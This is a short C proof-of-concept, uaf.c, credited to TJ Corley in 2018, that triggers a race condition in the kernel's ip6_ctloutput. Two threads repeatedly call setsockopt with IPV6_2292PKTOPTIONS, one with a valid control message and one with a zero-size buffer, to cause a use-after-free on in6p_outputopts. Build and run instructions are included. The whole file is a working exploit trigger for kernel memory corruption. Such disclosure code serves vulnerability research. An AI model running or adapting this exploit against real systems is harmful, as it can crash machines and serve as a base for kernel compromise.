uaf.c

/*
 * Race condition in ip6_ctloutput where in6p is not locked when calling
 * ip6_pcbopts, which allows for a use after free on in6p->in6p_outputopts
 *
 * Build: gcc -std=c99 -o poc poc.c -lpthread
 * Run: ./poc
 *
 * Discovered by TJ Corley 8/15/2018
 */

#include <netinet/in.h>
#include <pthread.h>
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>

#define IPV6_2292PKTOPTIONS 25

int s;

static void spam_valid() {
    char ctrl[CMSG_SPACE(sizeof(int))];

    struct cmsghdr *cmsg = (struct cmsghdr *)&ctrl;
    cmsg->cmsg_len = CMSG_LEN(4);
    cmsg->cmsg_level = IPPROTO_IPV6;
    cmsg->cmsg_type = IPV6_TCLASS;

    char *data = (char *)CMSG_DATA(cmsg);
    *(int *)data = 0x4;

    printf("spamming valid IPV6_2292PKTOPTIONS\n");
    for (;;) {
        setsockopt(s, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, cmsg, CMSG_LEN(4));
    }
}

static void spam_zero_size_mbuf() {
    char *buf[0x4] = {};
    printf("spamming zero size mbuf\n");
    for (;;) {
        setsockopt(s, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, buf, 0);
    }
}

int main() {
    pthread_t t;
    s = socket(AF_INET6, SOCK_DGRAM, 0);
    pthread_create(&t, NULL, (void *)spam_valid, NULL);
    spam_zero_size_mbuf();
}

Nice Job !